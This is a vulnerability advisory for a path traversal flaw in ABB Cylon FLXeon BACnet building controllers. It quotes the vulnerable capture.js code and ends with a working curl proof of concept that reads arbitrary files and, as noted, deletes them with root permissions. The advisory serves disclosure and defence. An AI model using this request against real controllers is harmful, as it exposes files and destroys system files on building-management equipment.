ABB Cylon FLXeon 9.3.5 (capture.js) Authenticated File Disclosure/Delete


Vendor: ABB Ltd.
Product web page: https://www.global.abb                   
Affected version: FLXeon Series (FBXi Series, FBTi Series, FBVi Series)
                  CBX Series (FLX Series)
                  CBT Series
                  CBV Series
                  Firmware: <=9.3.5

Summary: BACnet® Smart Building Controllers. ABB's BACnet portfolio features a
series of BACnet® IP and BACnet MS/TP field controllers for ASPECT® and INTEGRA™
building management solutions. ABB BACnet controllers are designed for intelligent
control of HVAC equipment such as central plant, boilers, chillers, cooling towers,
heat pump systems, air handling units (constant volume, variable air volume, and
multi-zone), rooftop units, electrical systems such as lighting control, variable
frequency drives and metering.

The FLXeon Controller Series uses BACnet/IP standards to deliver unprecedented
connectivity and open integration for your building automation systems. It's scalable,
and modular, allowing you to control a diverse range of HVAC functions.

Desc: The ABB Cylon FLXeon BACnet controller is vulnerable to a path traversal flaw
in its capture.js endpoint due to unsanitized user input being directly concatenated
into a filesystem path. An attacker can exploit this by supplying crafted file names
to access arbitrary files outside the intended var/ directory. Additionally, the use
of Fs.unlinkSync() after serving the file introduces a destructive impact, allowing
attackers to delete system or application files.

------------------------------------------------------------------------------
/api/capture.js:
----------------
06: function get(req, res) {
07:     let fileName = req.params.name;
08:     let filePath = Cylon.cylonPrefix + 'var/' + fileName;
09:     res.download(filePath, fileName, function (err) {
10:         Fs.unlinkSync(filePath);
11:     });
12: }
------------------------------------------------------------------------------

Tested on: Linux Kernel 5.4.27
           Linux Kernel 4.15.13
           NodeJS/8.4.0
           Express


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2025-5934
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2025-5934.php


21.04.2024

--


$ cat project

                 P   R   O   J   E   C   T

                        .|
                        | |
                        |'|            ._____
                ___    |  |            |.   |' .---"|
        _    .-'   '-. |  |     .--'|  ||   | _|    |
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     |' | |.    |    ||       | |   |  |    ||      |
 ____|  '-'     '    ""       '-'   '-.'    '`      |____
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░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ 
░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ 
░▒▓███████▓▒░░▒▓███████▓▒░░▒▓████████▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ 
░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ 
░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ 
░▒▓███████▓▒░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ 
         ░▒▓████████▓▒░▒▓██████▓▒░ ░▒▓██████▓▒░ 
         ░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
         ░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░░░░░░ 
         ░▒▓██████▓▒░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒▒▓███▓▒░
         ░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
         ░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
         ░▒▓█▓▒░░░░░░░░▒▓██████▓▒░ ░▒▓██████▓▒░


$ curl -k "https://7.3.3.1/api/capture:../../../../../../etc/issue" \
> -H "Cookie: user_sid=xxx"
# Any requested file will be deleted (with root perms) after download using Fs.unlinkSync(filePath);